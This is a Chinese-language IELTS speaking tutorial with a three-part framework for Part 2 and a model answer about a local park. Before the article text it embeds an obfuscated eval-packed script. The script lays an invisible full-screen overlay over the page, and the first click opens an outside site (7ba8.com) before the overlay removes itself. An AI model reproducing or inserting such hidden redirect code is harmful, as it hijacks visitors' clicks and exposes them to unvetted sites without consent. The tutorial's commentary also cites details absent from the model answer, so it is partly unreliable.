雅思口语part2描述框架实例讲解——如何描述一个公园或花园

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>如何描述一个公园或花园华盟教育王洪权在雅思口语中,考官在part2 部分对逻辑条理性要求比较高,因此如何构建一个比较合理性及清晰的口语框架极为重要。在多年的教学实践中,笔者认为可以将part2 的描述分为三个部分,开篇点题-拓展观点-总结概括。本文以如何描述一个公园或花园为例,讲解如何将三个部分运用到实际雅思口语part2考题中。首先我们来看一个2017年1-4月话题卡:Describe a park or a garden near your home.You should say:What the name of the park/garden isWhat the layout looks likeWhat the main views are And explain why you like it. Opening-upThere is a small park about several hundred meters away from my place.It is got the name of “XXX” because of its shape. Expanding the ideasTypes 种类Botanical garden 植物园Ocean park 海洋公园Water parkDisneyland 迪士尼乐园Theme park 主题公园The park is usually peaceful and quiet.Views 景色At the park gate there are several graceful sculptures.A winding path invites visitors to the center of the park, where there is a man-made lake.The mass of water adds vitality to the park. In winter it is an ideal place for kids to skate.Activities 活动In the morning, some elderly people practice tai chi on the lawn.It is also a paradise for walkers and runners to do morning exercises in cool and fresh air.The busiest time of the park is the evening. People go there to walk their dogs and kids do roller skating on the open ground.I still hang out there with my parents from time to time, just watching the world go by.ConclusionIn my opinion, parks are an indispensable part of a city.They can be quite oasis in the heart of the city for people to relax. 范文展示:The park I wanna talk about is a local park near my home. Unlike other parks, this park is a rectangular-shaped one along the river next to the building we live in. At the entrance, there is a graceful sculpture. Although it is a little bit abstract, we can understand it, actually, it publicizes China’s family planning policy. Behind the sculpture, the big open-air patch of land serves as a dancing ball venue in the evening. That’s why lots of senior citizens go there to dance or do Tai Chi in the morning.However, the best part of this park is the path with pebbles, coz I am fond of taking a walk after dinner. It is the only time when I can think about my concerns. Sometimes, I don’t think anything, just walk, no work, and no worries. It offers a break from the rush of city life. As I walk, I can also appreciate the fragrance of flowers or the music played by someone in the pavilion nearby. My brother loves the basketball court in the middle of the park. On weekends, he often invites some friends there.思路分析:答案,基本是一篇现实与虚幻的结合体。找了一些好的有关公园的描述的素材,然后进行了加工,把这个park描述得非常的有生命力了,她有character,有历史感(an emperor died here),有自然气息(flora),有生活气息(大妈舞,太极,及其他)。然后,最后一个轻松但深沉的结尾。所以,大意就是说虽然它不是那么的出名出众(super-popular, outstanding),但是却是最像公园的公园(park-like)。 建议:在实际考试过程中,我们不是要你去背诵范文,而是通过对范文的遣词造句的分析,积累一些核心的词块,进而在了解整个范文的意思基础上,在去分析它的内部逻辑,以后说任何一个有关地点及公园的话题都可以融会贯通。  微信关注华盟教育微服务收看最新的雅思托福官方考情分析,还有加拿大美国留学生存指南当月备考计划等,还有华盟雅思托福学习大礼包相送哦。
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